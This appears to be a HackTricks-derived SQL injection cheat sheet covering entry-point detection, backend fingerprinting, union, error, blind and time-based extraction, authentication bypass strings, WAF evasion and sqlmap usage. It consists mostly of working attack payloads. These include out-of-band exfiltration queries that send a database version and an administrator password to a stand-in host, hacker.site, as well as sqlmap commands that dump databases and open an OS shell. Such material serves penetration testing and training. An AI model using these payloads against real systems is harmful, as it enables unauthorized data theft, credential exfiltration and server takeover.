> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# SQL Injection

> Comprehensive guide to identifying, exploiting, and bypassing defenses for SQL injection vulnerabilities across union-based, blind, error-based, and time-based techniques.

SQL Injection is a security flaw that allows attackers to interfere with the database queries of an application, potentially viewing, modifying, or deleting data they shouldn't access.

## Entry Point Detection

The first step is finding a value you control that is injected into a query. Try these break characters:

```sql theme={null}
'
"
`
')
")
`))
'))
"))
```

### SQL Comments by Database

```sql theme={null}
-- MySQL
#comment
-- comment
/*comment*/

-- PostgreSQL
--comment
/*comment*/

-- MSSQL
--comment
/*comment*/

-- Oracle
--comment
```

### Confirming with Logical Operations

```sql theme={null}
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```

### Confirming with Timing

```sql theme={null}
-- MySQL
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)

-- PostgreSQL
1' || pg_sleep(10)

-- MSSQL
1' WAITFOR DELAY '0:0:10'

-- Oracle
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

-- SQLite
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```

### Identifying the Backend

```sql theme={null}
-- MySQL
convconv('a',16,2)=conv('a',16,2)
crc32('MySQL')=crc32('MySQL')

-- MSSQL
@@CONNECTIONS>0
BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)

-- PostgreSQL
5::int=5
pg_client_encoding()=pg_client_encoding()

-- Oracle
ROWNUM=ROWNUM

-- SQLite
sqlite_version()=sqlite_version()
```

## Union-Based Exploitation

<Steps>
  <Step title="Find Number of Columns">
    ```sql theme={null}
    1' ORDER BY 1--+    -- True
    1' ORDER BY 2--+    -- True
    1' ORDER BY 3--+    -- True
    1' ORDER BY 4--+    -- False (query uses 3 columns)
    ```

    Or use UNION SELECT with NULLs:

    ```sql theme={null}
    1' UNION SELECT null-- - Not working
    1' UNION SELECT null,null-- - Not working
    1' UNION SELECT null,null,null-- - Worked
    ```
  </Step>

  <Step title="Extract Database Information">
    ```sql theme={null}
    -- Database names
    -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

    -- Tables in a database
    -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

    -- Column names
    -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table]
    ```
  </Step>
</Steps>

## Error-Based Exploitation

When you can see error messages but not query output:

```sql theme={null}
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```

## Blind SQL Injection

When you can only distinguish between true/false responses:

```sql theme={null}
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```

## Time-Based Blind SQLi

```sql theme={null}
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```

## Stacked Queries

<Note>
  Oracle does **not** support stacked queries. MySQL, Microsoft, and PostgreSQL do:
</Note>

```sql theme={null}
QUERY-1-HERE; QUERY-2-HERE
```

## Out-of-Band Exfiltration

```sql theme={null}
-- DNS exfiltration
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

-- XXE via Oracle
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```

## Authentication Bypass

```sql theme={null}
-- Classic
' OR '1'='1
' OR 1=1--
admin'--

-- MD5 raw output bypass
md5("ffifdyop", true) = 'or'6\]\xC3\x85!r,\xC3\x9Db\xC3\x96

-- Injected hash bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

-- GBK bypass (when ' is escaped)
%A8%27 OR 1=1;-- 2
%bf' or 1=1 -- --
```

## WAF Bypasses

<Tabs>
  <Tab title="No Spaces">
    ```sql theme={null}
    ?id=1%09and%091=1%09--
    ?id=1%0Dand%0D1=1%0D--
    ?id=1/*comment*/and/**/1=1/**/--
    ?id=(1)and(1)=(1)--
    ```
  </Tab>

  <Tab title="No Commas">
    ```sql theme={null}
    LIMIT 0,1   -> LIMIT 1 OFFSET 0
    SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1)
    SELECT 1,2,3 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
    ```
  </Tab>

  <Tab title="Keyword Bypasses">
    ```sql theme={null}
    -- Case variation
    1 AnD 1=1#
    1 aNd 1=1#

    -- Operator substitution
    AND  -> && -> %26%26
    OR   -> || -> %7C%7C
    =    -> LIKE, REGEXP, RLIKE
    ```
  </Tab>

  <Tab title="Scientific Notation">
    ```sql theme={null}
    -1' or 1.e(1) or '1'='1
    -1' or 1337.1337e1 or '1'='1
    ' or 1.e('')=
    ```
  </Tab>
</Tabs>

## INSERT Statement Attacks

```sql theme={null}
-- SQL Truncation Attack (when length limit exists)
-- Create user: "admin [25 spaces] a"
-- The extra chars get truncated, updating admin's password

-- ON DUPLICATE KEY UPDATE
INSERT INTO users (email, password) VALUES 
  ("generic_user@example.com", "bcrypt_hash"),
  ("admin@example.com", "bcrypt_hash") 
  ON DUPLICATE KEY UPDATE password="bcrypt_hash";
```

## Bypass Column Name Restriction

```bash theme={null}
# Access column by position when name is blocked
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

# With comma bypass
-1 union select * from (select 1)a join (select 2)b join 
  (select F.3 from (select * from (select 1)q join (select 2)w join 
  (select 3)e union select * from flag limit 1 offset 5)F)c
```

## Automated Exploitation

```bash theme={null}
# sqlmap basic usage
sqlmap -u "http://target.com/?id=1"

# With specific technique
sqlmap -u "http://target.com/?id=1" --technique=U

# Dump database
sqlmap -u "http://target.com/?id=1" --dump

# OS shell
sqlmap -u "http://target.com/?id=1" --os-shell
```

## Resources

* PayloadsAllTheThings SQL Injection wordlists
* PortSwigger SQL Injection cheat sheet
* SQLmap for automated exploitation
